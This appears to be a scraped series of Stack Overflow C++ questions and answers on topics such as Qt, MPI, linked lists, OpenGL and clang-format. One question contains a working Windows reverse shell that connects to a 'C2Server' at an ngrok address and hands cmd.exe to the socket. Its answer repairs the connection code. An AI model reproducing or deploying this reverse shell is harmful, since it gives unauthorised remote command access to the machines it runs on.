conversion sequences are allowed. [Note: When converting to the explicit object parameter, if any, user-defined conversion sequences are allowed. - end note ] ([over.best.ics] §12.2.4.2)
For your first question: struct A { }; struct B { operator A() const noexcept; void foo(this A); }; B{}.foo(); // will work? Yes. Candidate lookup will find B::foo, which more or less evaluates as foo(B{}), which is valid due to the conversion function. This is explicitly called out in the note you cited, in [over.ics.best]/7: [Note 5: When converting to the explicit object parameter, if any, user-defined conversion sequences are allowed. — end note] This one, I'm actually not entirely sure about: auto fib = [](this int(* self)(int, int, int), int n, int a = 0, int b = 1) { return n == 0 ? a : n == 1 ? b : self(n - 1, b, a + b); }; It seems exceedingly unlikely to be useful and you should probably never do this, so I don't know that it matters whether or not it's actually valid. But also am not sure what it means for examples like this: struct C { C(auto); void f(); }; auto lambda = [](this C c) { c.f(); }; // OK? If this is convertible to a function pointer, what function pointer type exactly? If it's void(*)(), then which C are we invoking f() on? So it'd kind of have to be void(*)(C), in which case the fib example definitely does not work because it's impossible to spell the function pointer type non-generically in a way that matches.
71,107,282
71,108,180
Unknown module(s) in QT: webenginewidgets
Hi. I want to connect QtWebEngineWidgets. To do this, you need to write(https://doc.qt.io/qt-5/qtwebenginewidgets-module.html) in .cpp file #include <QtWebEngineWidgets> and QT += webenginewidgets inside .pro file. The problem is that when writing to a .pro file, I get the error - Unknown module(s) in QT: webenginewidgets Everywhere I read, it is only written that you need to connect the module in the .pro file, but it doesn’t work for me. Am I doing everything right? • Qt Creator version - 5.0.0 Community • Qt version - 6.1.3 • C++ compiler version - MSVC2019 64bit 17.032112.339(amd64) UPD: I want to add that this module is not in the installer. Installer exaple1, Installer example2
It turned out that it was necessary to install a newer version of Qt. For example, since version 6.2.3.0 and newer, the installer contains the "WebView" item. I'm installing it now and I'll see if it helps. Thank you.
71,108,064
71,109,571
Implementing linked list
I am creating a linked list but after printing it I am only getting the last element in an unending loop here is the code I guess there is some error in creating the Linked list how to solve it Link to my code my linked List #include<iostream> using namespace std; struct node{ int data; // for data component node* next; // to hold addr of next }*head_first=NULL; void create(int* a, int n) // a is array and n is sizeof { node *newnode,*temp; newnode=new node(); for(int i=0;i<n;i++){ newnode->data=a[i]; newnode->next=NULL; if(head_first==NULL){ temp=head_first=newnode; cout<<"head assigned"<<endl; } else{ temp->next=newnode; temp=newnode; cout<<i<<" node created"<<endl; } } } void dis(node *p){ while(p!=NULL){ cout<< p->data <<endl; p=p->next; } } int main(){ int a[]={10,20,30,40,50,60}; int size=sizeof(a)/sizeof(int); create(a,size); dis(head_first); return 0; }
You have used same reference; that's the reason your code always updates the same memory location value and finally gives last value. #include<iostream> using namespace std; struct node{ int data; // for data component node* next; // to hold addr of next }*head_first=NULL; void create(int* a, int n) // a is array and n is sizeof { node *newnode,*temp; newnode=new node(); for(int i=0;i<n;i++){ newnode=new node(); newnode->data=a[i]; newnode->next=NULL; if(head_first==NULL){ temp=head_first=newnode; cout<<"head assigned"<<endl; } else{ temp->next=newnode; temp=newnode; cout<<i<<" node created"<<endl; } } } void dis(node *p){ while(p!=NULL){ cout<< p->data <<endl; p=p->next; } } int main(){ int a[]={10,20,30,40,50,60}; int size=sizeof(a)/sizeof(int); create(a,size); dis(head_first); return 0; }
71,108,226
71,108,860
How can I use string instead of char* buffer to read the file data into string?
I am using standard file-handler API to read the file , currently I have used a char* buffer to read the data, but I want to use string so I can avoid calloc() use. I tried to pass the string address to the ReadFile() function, but it's not working. Could you please help me??? l_FileHandle = CreateFileA(inputFilePath.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); l_FileSize = GetFileSize(l_FileHandle, NULL); char * l_FileBuffer = NULL; l_FileBuffer = (char *)calloc(l_FileSize, sizeof(char)); ReadFile(l_FileHandle,(void *)(l_FileBuffer), l_FileSize, &lpNumberOfBytesRead, lpOverlapped);
You can't pass in the address of the string itself, but you can pass in the address of its internal character buffer. Just make sure it has been allocated first. l_FileHandle = CreateFileA(inputFilePath.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); l_FileSize = GetFileSize(l_FileHandle, NULL); string l_FileBuffer(l_FileSize, '\0'); ReadFile(l_FileHandle, l_FileBuffer.data(), l_FileSize, &lpNumberOfBytesRead, lpOverlapped); Note that the non-const version of data() requires C++17 or later. For C++11..14, you can use &l_FileBuffer[0] instead. Prior to C++11, that is not guaranteed to work, but in practice it will work in most implementations. For a more standard way to read a file into a string, see How do I read an entire file into a std::string in C++?
71,108,289
71,108,761
Why codecvt can't convert unicode outside BMP to u16string?
I am trying to understand C++ unicode and having this confused me now. Code: #include <iostream> #include <string> #include <locale> #include <codecvt> using namespace std; void trial1(){ string a = "\U00010000z"; cout << a << endl; u16string b; std::wstring_convert<codecvt_utf8<char16_t>, char16_t> converter; b = converter.from_bytes(a); u16string c = b.substr(0, 1); string q = converter.to_bytes(c); cout << q << endl; } void trial2(){ u16string a = u"\U00010000"; cout << a.length() << endl; // 2 std::wstring_convert<codecvt_utf8<char16_t>, char16_t> converter; string b = converter.to_bytes(a); } int main() { // both don't work // trial1(); // trial2(); return 0; } I have tested that u16string can store unicode outside BMP as surrogate pairs, e.g. u"\U00010000" is stored with 2 char16_t. So why std::wstring_convert<codecvt_utf8<char16_t>, char16_t> converter; doesn't work for both trial1 and trial2 and throw an exception?
std::codecvt_utf8 does not support conversions to/from UTF-16, only UCS-2 and UTF-32. You need to use std::codecvt_utf8_utf16 instead.
71,108,948
71,109,167
Crash when using erase–remove idiom
When i execute the code below containing erase–remove idiom , i get a crash (segmentation fault). Id like to know what is the problem. class One { public: One() {} void print(){ std::cout << "print id: " << id << "\n"; } void setId(int i) { id =i;} int getID(){ return id;} private: int id; }; int main() { std::vector<One*> v; std::vector<One*> v2; for (int i = 0; i < 10; ++i) { One* one = new One; one->setId(i); v.push_back(one); v2.push_back(one); } v.erase((std::remove(v.begin(), v.end(), v2[2]), v.end())); return 0; }
This line of code: v.erase((std::remove(v.begin(), v.end(), v2[2]), v.end())); is the equivalent of this: v.erase((some_iterator, v.end())); where some_iterator is the return value of the call to std::remove. That now becomes the equivalent of: v.erase(v.end()); The reason why is that the parentheses enclosed this statement: (some_iterator, v.end()) into an expression that invokes the comma operator. The comma operator takes the value on the right of the comma, and uses that as the final value. The correction is to remove the excessive parentheses: v.erase(std::remove(v.begin(), v.end(), v2[2]), v.end());
71,109,109
71,109,194
I made this to print "Hello World !", but now I want to know other ways to print "Hello World !" in C++, simplify it if can
I made this, but now I want to know other ways to do this, and simplify it. #include <iostream> #include <stdio.h> int main() { char* a[50] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "!"}; std::cout << a[7] << a[4] << a[11] << a[11] << a[14] << " " << a[22] << a[14] << a[17] << a[11] << a[3] << " " << a[26]; return 0; } Yes, I know cout << "hello world !"; exists, but I want to try things differently.
If you "want to do thing differently" by addressing the letter by array index, yet want to simplify the array notation, I suggest this: #include <iostream> #include <string> int main(){ using namespace std; string a="abcdefghijklmnopqrstuvwxyz!"; cout<<a[7]<<a[4]<<a[11]<<a[11]<<a[14]<<" "<<a[22]<<a[14]<<a[17]<<a[11]<<a[3]<<" "<<a[26]; return 0; }
71,109,951
71,110,670
There are always line breaks after an enum declaration
I have the following BraceWrapping options: BraceWrapping: AfterEnum: false AfterStruct: false SplitEmptyFunction: false AfterControlStatement: "Never" AfterFunction: false AfterNamespace: false AfterUnion: false AfterExternBlock: false BeforeCatch: false BeforeElse: false BeforeLambdaBody: false BeforeWhile: false However, clang-format always inserts a new line after an enum: enum class event_flags : std::uint8_t { running = 1 << 0, executed = 1 << 1, }; I want it to be like this: enum class event_flags : std::uint8_t { running = 1 << 0, executed = 1 << 1, }; what am I doing wrong here?
The one option I could find that seems to fix this formatting for you is outside the BraceWrapping section and that is setting AllowShortEnumsOnASingleLine: true even though the description of that option doesn't mention it: true: enum { A, B } myEnum; false: enum { A, B } myEnum;
71,110,341
71,110,479
Correct declaration of constructor of class in namespace
I have a class which I want to be in a namespace. I have been doing it like namespace ns { class A; } class ns::A { ... public: A(); }; and I define the constructor in a separate file like ns::A::A() { ... } My question is about the correct way of defining the constructor. Is that the correct way, or should I add the namespace to the declaration? namespace ns { class A; } class ns::A { ... public: ns::A(); }; And if that's the case, how is the constructor defined in a separate file?
how is the constructor defined in a separate file? You can do it as shown below: header.h #ifndef HEADER_H #define HEADER_H namespace NS { //class definition class A { public: //declaration for default constructor A(); //declaration for member function void printAge(); private: int age; }; } #endif source.cpp #include"header.h" #include <iostream> namespace NS { //define default constructor A::A(): age(0) { std::cout<<"default consttuctor used"<<std::endl; } //define member function printAge void A::printAge() { std::cout<<age<<std::endl; } } main.cpp #include <iostream> #include"header.h" int main() { NS::A obj; //this uses default constructor of class A inside namespace NS obj.printAge(); return 0; } Also don't forget to use header guards inside the header file to avoid cyclic dependency(if any). The output of the program can be seen here Some of the changes that i made include: Added include guard in header file header.h. Added declarations for the default constructor and a member function called printAge inside class A inside the header file. Defined the default constructor and the member function printAge inside source.cpp. Used constructor initializer list in the default constructor of class A inside source.cpp. Method 2 Here we use the scope resolution operator :: to be in the scope of the namespace NS and then define the member functions as shown below: source.cpp #include"header.h" #include <iostream> //define default constructor NS::A::A(): age(0) { std::cout<<"default consttuctor used"<<std::endl; } //define member function printAge void NS::A::printAge() { std::cout<<age<<std::endl; } The output of method 2 can be seen here
71,110,672
71,115,178
Pointers used as values in map corrupted after function finishes
I'm trying to store a map of VALUE to Node* but after each addEdge, the value for the added keys (Node*) changes. One example is if I call addEdge(u, v), the map shows all the data correctly within the lifetime. If another call is made to addEdge(u, w), the keys u, v are present but the values are "corrupted"? Here's an example of the output: Sample code: struct Node { VALUE value; Node* prev; Node* next; }; class Graph { std::map<VALUE, Node*> nodes; }; void Graph::addEdge(VALUE u, VALUE v) { Node* uNode; Node* vNode; if (nodes.count(u) == 0) { uNode = &Node{ u, nullptr, nullptr }; nodes.emplace(u, uNode); } else { uNode = nodes.at(u); } if (nodes.count(v) == 0) { vNode = &Node{ v, nullptr, nullptr }; nodes.emplace(v, vNode); } else { vNode = nodes.at(v); } uNode->next = vNode; vNode->prev = uNode; } I've tried calling nodes.emplace after assigning next, prev but it didn't fix it. Thanks! EDIT Updated addEdge: void addEdgeVALUE u, VALUE v) { Node* uNode; Node* vNode; bool isUNodePresent = true; bool isVNodePresent = true; if (nodes.count(u) == 0) { isUNodePresent = false; uNode = new Node(u, nullptr, nullptr); } else { uNode = &nodes.at(u); } if (nodes.count(v) == 0) { isVNodePresent = false; vNode = new Node(v, nullptr, nullptr); } else { vNode = &nodes.at(v); } uNode->next = vNode; vNode->prev = uNode; if (!isUNodePresent) nodes.emplace(u, *uNode); if (!isVNodePresent) nodes.emplace(v, *vNode); }
Your initial addEdge was taking the address of unnamed temporary objects, which is not valid C++. Your updated addEdge has nodes point to the leaked Nodes that you new, not the Nodes that are in the map. You don't have to test for presence in the map, map::emplace doesn't overwrite existing items, and the return value holds a reference to the Node with that key. struct Node { VALUE value; Node* prev; Node* next; }; class Graph { std::map<VALUE, Node> nodes; public: void addEdge(VALUE u, VALUE v); }; void Graph::addEdge(VALUE u, VALUE v) { Node & uNode = nodes.emplace(u, { u }).first->second; Node & vNode = nodes.emplace(v, { v }).first->second; uNode.next = &vNode; vNode.prev = &uNode; }
71,110,992
71,111,704
Loading QML from QString variable
Is it possible to use QQuickwidget::setSource() with variable (QString or QByteArray)? I know that I can load a file (or resource): ui->quickWidget->setSource(QUrl::fromLocalFile(":/qml/Example.qml")); But if I have the qml code stored in a variable, I could only solve it by first writing to a file on disk and loading that file. Can it be done directly?
Maybe with the Help of a Temporary file? https://doc.qt.io/qt-5/qtemporaryfile.html Something like this(i dont have much time so i just did something dirty): QQmlApplicationEngine engine; QString qmlFile = QString("import QtQuick 2.15\n") .append("import QtQuick.Window 2.12\n") .append("import QtQuick.Controls 2.12\n") .append("Window {\n") .append("id: root\n") .append("width: 640\n") .append("height: 480\n") .append("visible: true\n") .append("color: 'green'\n") .append("}"); QTemporaryFile file; if(file.open()) { file.write(qmlFile.toUtf8()); } file.close(); engine.load(file.fileName());
71,111,065
71,111,432
Why can a floating-point literal be cast to a char in C++ in this overload resolution error?
Why does the following lead to failed overload resolution? #include <iostream> using namespace std; void print( char c ) { cout << "Char\n"; } void print( float f ) { cout << "Float\n"; } int main(){ print( 'a' ); print( 1.23 ); } Recall that the floating-point literal is a double by default. Q1: When I replace 1.23 by 1.23f, then the overload resolution works. What is the relevant difference between 1.23 and 1.23f in this context? Q2: Even more shocking, if I remove print( float f ), the code compiles. Why can a floating-point literal be cast to a char? Q3: Are there at least compiler warnings that notice such (almost surely unintentional) conversions? I presume this behavior in C++ is inherited from C, and that it is an instance of floating-point-to-integral conversion.
What is the relevant difference between 1.23 and 1.23f 1.23 has type double, 1.23f has type float. Why can a floating-point literal be cast to a char? char is an integer type, has (at-least) 8-bits. Just like int a = 1.23; is converting 1.23 to int, the same does char c = 1.23, it's the same conversion, just char is (should be) smaller than int. It's a normal integer, just small. Are there at least compiler warnings that notice such (almost surely unintentional) conversions? -Wconversion on GCC. source:6:8: warning: conversion from ‘double’ to ‘char’ changes value from ‘1.23e+0’ to ‘'\001'’ [-Wfloat-conversion] 6 | print( 1.23 ); | ^~~~
71,111,360
71,111,692
C++ always use checked_cast instead of static_cast?
When I read about C++ casting operators, I see generally see 4 types of casts for example here: Cast types const_cast dynamic_cast reinterpret_cast static_cast But what about checked_cast as described here checked_cast Should we always use checked_cast instead of static_cast as a rule of thumb?
checked_cast only replaces static_cast. That article assumes that you never want a lossy conversion. If you have a float and want the largest int not larger than that, checked_cast is incorrect. It also assumes that the conversion goes both ways. If it doesn't then it's ill formed.
71,111,670
71,112,883
Why doesn't std::vector.size() work with MPI?
I've troubles using the method .size() of std::vector when data are sent/received through the MPI interface. I created a custom type named point template<typename T> struct point{ T data[ndim]; point() = default; point(const T& a, const T& b): data{a,b} {} // not correct point(const T&& a, const T&&b): data{std::move(a),std::move(b)} {} explicit point(const point& mypoint): data{mypoint.data[0], mypoint.data[1]} {} }; And the process 0 is supposed to send to process 1 and 2 a certain std::vector of point named dataset. First I've created the MPI_Datatype : MPI_Datatype MPI_point; // custom datatype MPI_Type_contiguous(2, MPI_FLOAT,&MPI_point); MPI_Type_commit(&MPI_point); and then implemented the message passaging: #define count 10 MPI_Init ( NULL, NULL ); std::vector<point<float>> receive_buff; receive_buff.reserve(count) int rank; int size; MPI_Comm_rank(MPI_COMM_WORLD, &rank); MPI_Comm_size(MPI_COMM_WORLD, &size); if(rank==0){ MPI_Send(dataset.data(), count, MPI_point, 1,1,MPI_COMM_WORLD); MPI_Send(dataset.data(), count, MPI_point, 2,2,MPI_COMM_WORLD); } else{ MPI_Recv(receive_buff.data(),count,MPI_point, 0,rank,MPI_COMM_WORLD, &status); } receive_buff actually receive correctly the messagge sent by process 0, and if a try to print it I get the expected value, my issue is that receive_buff.size() return 0 while it's clearly non-empty, as matter of fact receive_buff.end() return the same iterator of receive_buff.begin(), but I don't really know how to fix this. Thanks in advance. I tried also MPI_Type_vector, and MPI_Type_struct, but it doesn't work either
First of all, MPI doesn't know much about C++, you're really using the C interface. So receiving does not do a push_back: you give it a buffer that's large enough and it writes the elements in there. (And after all, you only pass it buffer.data() so MPI doesn't even know that the buffer is a std::vector.) It is still possible to ask the receive call how much data you received: MPI_Get_count(&status,yourtype,&count) returns how many elements of the type received were in the message. By the way, there are native C++ interfaces to MPI, such as MPL, but even they don't do push_back into the receive buffer: they use the same mechanism of querying the count of the status object.
71,112,204
71,112,278
In a multi-level inheritance, does a grandchild require to implement a pure virtual method, if its parent has already implemented it?
class A { public: virtual void start() = 0; }; class B : public A { public: void start(); }; class Ba : public B { }; Do we need to redefine start() in Ba or the parent's B::start() would be enough?
Parent's start() is enough. You should though use the override keyword for B's reimplementation : class B : public A { public: void start() override; }; It makes it clear that the method is an implementation of a virtual one and the compiler will enforce that it will always be the case, even with future changes on class A.
71,112,750
71,113,085
Create a vector of pairs from a single vector in C++
I have a single even-sized vector that I want to transform into a vector of pairs where each pair contains always two elements. I know that I can do this using simple loops but I was wondering if there is a nice standard-library tool for this? It can be assumed that the original vector always contains an even amount of elements. Example: vector<int> origin {1, 2, 3, 4, 5, 6, 7, 8}; vector<pair<int, int>> goal { {1, 2}, {3, 4}, {5, 6}, {7, 8} };
Use Range-v3: #include <range/v3/range/conversion.hpp> #include <range/v3/view/transform.hpp> #include <range/v3/view/chunk.hpp> using namespace ranges; using namespace ranges::views; int main() { std::vector<int> origin {1, 2, 3, 4, 5, 6, 7, 8}; std::vector<std::pair<int, int>> goal {{1, 2}, {3, 4}, {5, 6}, {7, 8}}; auto constexpr makePairFromRangeOf2 = [](auto two){ return std::make_pair(two.front(), two.back()); }; auto result = origin | chunk(2) | transform(makePairFromRangeOf2) | to_vector; } Notice that if you only have to loop on result, then you only need it to be a range, so you can leave | to_vector out, because you'll still be able to do result.begin() and result.end(), which is what makes result a range. If you don't need the inner containers to truly be std::pairs, but your just happy with calling, say, result.front().front() instead of result.front().first, then you can leave also the transform, and just be happy with auto result = origin | chunk(2);. You don't mention why you only want a standard solution. However consider that <ranges> is standard in C++20. Unfortunately that feature is not as powerful as pre-C++20 Range-v3 library. But it will be at some point (C++23?), I think without any doubts.
71,114,091
71,114,511
glEnable(GL_ALPHA_TEST) gives invalid enum (seems to be depreciated - code works though - but why?)
Quick question - title says it all: In my OpenGL-code (3.3), I'm using the line glEnable(GL_ALPHA_TEST); I've been using my code for weeks now and never checked for errors (via glGetError()) because it works perfectly. Now that I did (because something else isn't working), this line gives me an invalid enum error. Google revealed that glEnable(GL_ALPHA_TEST) seems to be depreciated since OpenGL 3 (core profile?) or so and I guess, that is the reason for the error. But that part of the code still does exactly what I want. Some more code: glDisable(GL_CULL_FACE); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glEnable(GL_ALPHA_TEST); // buffer-stuff glEnable(GL_DEPTH_TEST); glDepthFunc(GL_LESS); glDrawArraysInstanced(GL_TRIANGLE_STRIP, 0, 9, NumParticles); So, did I put something redundant in there? I'm drawing particles (instanced) on screen using 2 triangles each (to give a quad) and in the alpha-chanel of the particle-color, I'm basically setting a circle (so 1.0f if in the circle, otherwise 0.0f). Depth-testing of course for not drawing particles from the back infront of particles further in front and glBlendFunc() (and as I understood glEnabled(GL_ALPHA_TEST)) for removing the bits not in the circle. I'm still learning OpenGL and am trying to understand, why that code actually works (for once) and why I apparently don't need glEnable(GL_ALPHA_TEST)...
Yes, I'm using discard in the fragment shader. Otherwise, I just used to code above, so I guess, only one depth value (standard?). discard is the replacement for glEnable(GL_ALPHA_TEST);. So, did I put something redundant in there? Yes discard and glEnable(GL_ALPHA_TEST); would be redundant if you use a profile for which glEnable(GL_ALPHA_TEST); still exists and if you use discard for every fragment with an alpha for which the glAlphaFunc would discard that fragment. Since you are in a profile for which the glEnable(GL_ALPHA_TEST); does not exist anymore, the glEnable(GL_ALPHA_TEST); has no effect in your code and can be removed.
71,114,208
71,115,046
Algorithm for cutting mesh with the plane
I'm trying to write an algorithm for cutting tessellated mesh with the given plane (plane defined with the point on the plane and unit normal vector). Also, this algorithm should triangulate all polygons and fill the hole after split. I faced with a problem to find a polygon that lies on the plane (like the orange plane on the image) I tried to process all edges of all triangles and find those that lies on the plane and stored them in an array. After that, I formed an array of vertices by searching next suitable edge. Can someone explain an easier and faster way to find this polygon? All vertices must be stored in CCW order.
Identify all edges that you cut by the indexes (or labels) of the endpoints. Make sure that every edge belongs to exactly two faces and is cut twice. Also make sure to orient the edge that results from the intersection consistently with the direction of the face normal. Now the intersection edges form a chain that you can reconstruct by sorting: store the indexes of the endpoints separately, each with a link to the originating edge. After sorting on the indexes, the common vertices will appear in pairs in the sorted array. Using this structure, you can trace the polygon(s). In the example below, from the faces aebf, bcgf, cdgh and dhea, you generate the edges ae-dh, bf-ae, cg-bf and dh-cg in some order. After splitting the endpoints and sorting, ae-, -ae, dh-, -dh, cg-, -cg, bf-, -bf, which generate the cycle ae-dh, dh-cg, cg-bf, bf-ae.
71,114,212
71,118,045
Avoid passing void expression, when pass from macro to function
I want to write a debugging macro which prints the name of the function called when there is an error. The catch is that some functions return values, and I would like to return any value back from the macro. This is my attempt: #define check(expr) _check_expr(#expr, expr) extern bool check_for_error(); template <typename T> inline T _check_expr(const char *str, T value) { if (check_for_error()) { fprintf(stderr, "Failure: %s\n", str); } return value; } The problem I get here is that sometimes T = void and the compiler will not let me pass an expression of void type to a function: ../src/render.cc: In constructor ‘render::impl::impl()’: ../src/render.cc:34:20: error: invalid use of void expression 34 | check(glDisable(GL_DEPTH_TEST)); I cannot redefine the functions to be called under the check macro, or the check_for_error function, which are external to my program. Also, checking for error needs to occur after evaluating the expression. Is there a good way to solve this problem in C++? Something like: "If decltype of this expression is void, then generate this code, otherwise generate that code".
A void function can return a void expression. This also applies to lambdas: #define check(expr) _check_expr(#expr, [&] () { return expr; }) extern bool check_for_error(); template <typename Fn> inline auto _check_expr(const char *str, Fn fn) { auto check_ = [str]() { if (check_for_error()) { fprintf(stderr, "Failure: %s\n", str); } }; if constexpr (std::is_same_v<std::invoke_result_t<Fn>, void>) { fn(); check_(); } else { auto v = fn(); check_(); return v; } } There's probably a better solution but this works. Also this requires at least C++17 in the current form, but can probably be back ported to C++14 or even C++11. https://wandbox.org/permlink/YHdoyKL0FIoJUiQb to check the code.
71,114,380
71,120,317
How to make C++ accept ngrok address?
I’ve created a simple C++ program that uses sockets to connect to my other machine. I don’t have windows pro so can’t open port 3389 and I don’t want to download other third party applications as I genuinely want to complete what I have finished. I’m paying for an ngrok address in the format of: 0.tcp.ngrok.io:12345 The program works fine when using my private IP address - however when I use my ngrok address, it doesn’t work. I can still communicate to my machine via the ngrok address through other means, but it seems as if the program is not communicating with the address at all for some reason. I’m not sure if it’s something to do with the fact there are letters in the address? I don’t know - I’m really stuck on this. I’ll show the code below and I would really appreciate it if someone could tell me if there is something I should be doing to get this to work with the ngrok address - or if there is nothing wrong with it at all and it’s a problem with ngrok.. #include <winsock2.h> #include <windows.h> #include <ws2tcpip.h> #pragma comment(lib, "Ws2_32.lib") #define DEFAULT_BUFLEN 1024 void RunShell(char* C2Server, int C2Port) { while(true) { SOCKET mySocket; sockaddr_in addr; WSADATA version; WSAStartup(MAKEWORD(2,2), &version); mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function addr.sin_port = htons(C2Port); //Port received from main function //Connecting to Proxy/ProxyIP/C2Host if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) { closesocket(mySocket); WSACleanup(); continue; } else { char RecvData[DEFAULT_BUFLEN]; memset(RecvData, 0, sizeof(RecvData)); int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode <= 0) { closesocket(mySocket); WSACleanup(); continue; } else { char Process[] = "cmd.exe"; STARTUPINFO sinfo; PROCESS_INFORMATION pinfo; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket; CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo); WaitForSingleObject(pinfo.hProcess, INFINITE); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); memset(RecvData, 0, sizeof(RecvData)); int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode <= 0) { closesocket(mySocket); WSACleanup(); continue; } if (strcmp(RecvData, "exit\n") == 0) { exit(0); } } } } } //----------------------------------------------------------- //----------------------------------------------------------- //----------------------------------------------------------- int main(int argc, char **argv) { if (argc == 3) { int port = atoi(argv[2]); //Converting port in Char datatype to Integer format RunShell(argv[1], port); } else { char host[] = "0.tcp.ngrok.io"; int port = 12345; RunShell(host, port); } return 0; }
inet_addr() only works with strings in IP dotted notation, not with hostnames. So, inet_addr("0.tcp.ngrok.io") will fail and return -1 (aka INADDR_NONE), thus you are trying to connect to 255.255.255.255:12345. But it will work fine for something like inet_addr("196.168.#.#") (where # are numbers 0..255). You need to use getaddrinfo() instead to resolve a hostname to an IP address, eg: // you should do this only once per process, not per loop iteration... WSADATA version; if (WSAStartup(MAKEWORD(2,2), &version) != 0) { // error handling... } ... addrinfo hints = {}, *addrs; hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; char portBuf[12] = {}; if (getaddrinfo(C2Server, itoa(C2Port, portBuf, 10), &hints, &addrs) != 0) { // error handling... } //Connecting to Proxy/ProxyIP/C2Host SOCKET mySocket = INVALID_SOCKET; for(addrinfo *addr = addrs; addr; addr = addr->ai_next) { mySocket = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol); if (mySocket == INVALID_SOCKET) continue; if (connect(mySocket, addr->ai_addr, addr->ai_addrlen) == 0) break; closesocket(mySocket); mySocket = INVALID_SOCKET; } freeaddrinfo(addrs); if (mySocket == INVALID_SOCKET) { // error handling... } // use mySocket as needed... closesocket(mySocket); ... // you should do this only once per process, not per loop iteration... WSACleanup(); Just note that because ngrok is an external cloud service, your ngrok hostname will resolve to your ngrok server's public Internet IP address, not its private IP address. If that server machine is behind a router/firewall, you will have to configure the router/firewall to port forward a public IP/port to the server's private IP/port.
71,116,990
71,117,065
I don't understand why I have a dangling pointer
I have written this method: std::string Utils::GetFileContents(const char* filePath) { std::ifstream in(filePath, std::ios::binary); if (in) { std::string contents; in.seekg(0, std::ios::end); contents.resize(in.tellg()); in.seekg(0, std::ios::beg); in.read(&contents[0], contents.size()); in.close(); return(contents); } throw(errno + " ERROR: Could not open file."); } In another method, I have these instructions: lua_State* state = luaL_newstate(); const char* code = Utils::GetFileContents(path).c_str(); luaL_dostring(state, code); lua_close(state); If you run your debugger in the previous method, you get a dangling pointer at the code variable. I do not understand why. I found a way to make this work - to basically store code in a std::string and then change the next line to luaL_dostring(state, code.c_str());. It doesn't make sense to me, as in both cases, code is stored as a const char*.
The function returns an object of the type std::string std::string Utils::GetFileContents(const char* filePath) You are assigning a pointer with the address of the first character of the returned temporary string const char* code = Utils::GetFileContents(path).c_str(); After this declaration the returned temporary object will be destroyed. So the pointer code is invalid and using it in the next call luaL_dostring(state, code); invokes undefined behavior. You could write for example std::string code = Utils::GetFileContents(path); luaL_dostring(state, code.c_str());
71,117,107
71,234,687
Should I group all my code and move into DLLs?
Will I get better performance if I break my code into pieces put them in DLLs? Is there something wrong with having multiple DLLs in terms of performance or is it better? Or does not have any affect? My project is quite large and I heard that DLLs are not suitable for cross-platform apps. Is it true?
DLLs can have positive and negative impact on performance. As with all performance questions you should get data before committing to a strategy. Huge headers / huge code / slow compilation does not mean slow performance. It's often the other way around: that slow compilation is because you've given the optimizer a lot to work with. And simply rearranging your project won't reduce the amount of code. You'll just cordon off bits so the optimizer has less to work with. You may benefit in project structure, but at the cost of optimization opportunities. A lot of modern elegant C++ is templated and purely in header files. That allows inlining as the optimizer sees fit. Breaking code into separate images will prevent optimization across image boundaries. Consider the development cost of using DLLs as well. Interfaces across DLLs present a lot of complications. For example templated / header-inlined code should be avoided in the ABI. It's the entire reason COM was invented: to deal with the difficulties of passing basic objects between DLL boundaries. To try and answer the question, my gut feeling is that "No", breaking your project into multiple modules will do absolutely nothing to improve performance and is much more likely to make it perform worse. I say that with about 93% confidence. But as I said: The only way to properly answer your question is to measure.
71,117,428
71,125,988
Is possible create QString at compile time?
Consider below code: static constexpr QString FOO = QStringLiteral("foo"); but can not compile this line because QString has not default destructor. How I can do something like this?
In Qt 6.2 you can use the new u"my string"_qs syntax. https://doc.qt.io/qt-6/qstring.html#operator-22-22_qs
71,117,618
73,726,711
Detect white or black high contrast mode in Windows C++
The MS App Assure team reported to me an issue where my app's notification area/system tray icon is nearly invisible on white high contrast themes (or near-white like Windows 11's "Desert" theme). I already have a dark icon I use when the (normal, non high-contrast) Windows light theme is on so I would like to use it in these scenarios as well. The only issue is, while I can detect if high contrast mode is on with SystemParametersInfo, I haven't found anything to detect if it's a white or a black high contrast theme. How would I proceed to detect that? I know MSIX packages support having different icons for white and black high contrast themes, so how do they detect it?
First, check if High Contrast mode is on: HIGHCONTRAST info = { .cbSize = sizeof(info) }; if (SystemParametersInfo(SPI_GETHIGHCONTRAST, 0, &info, 0) && info.dwFlags & HCF_HIGHCONTRASTON) { // it's on } Then, you check the relative luminance of GetSysColor(COLOR_WINDOWTEXT). If it's lower than or equal to 0.5, then use a dark icon for your tray: double Luminance(COLORREF color) { const uint8_t R = GetRValue(color); const uint8_t G = GetGValue(color); const uint8_t B = GetBValue(color); const double rg = R <= 10 ? R / 3294.0 : std::pow((R / 269.0) + 0.0513, 2.4); const double gg = G <= 10 ? G / 3294.0 : std::pow((G / 269.0) + 0.0513, 2.4); const double bg = B <= 10 ? B / 3294.0 : std::pow((B / 269.0) + 0.0513, 2.4); return (0.2126 * rg) + (0.7152 * gg) + (0.0722 * bg); } if (Luminance(GetSysColor(COLOR_WINDOWTEXT)) <= 0.5) { // use dark icon } else { // use light icon }
71,117,785
71,117,868
Is there a technique for named instances of an anonymous struct to reference functions inside the enclosing class?
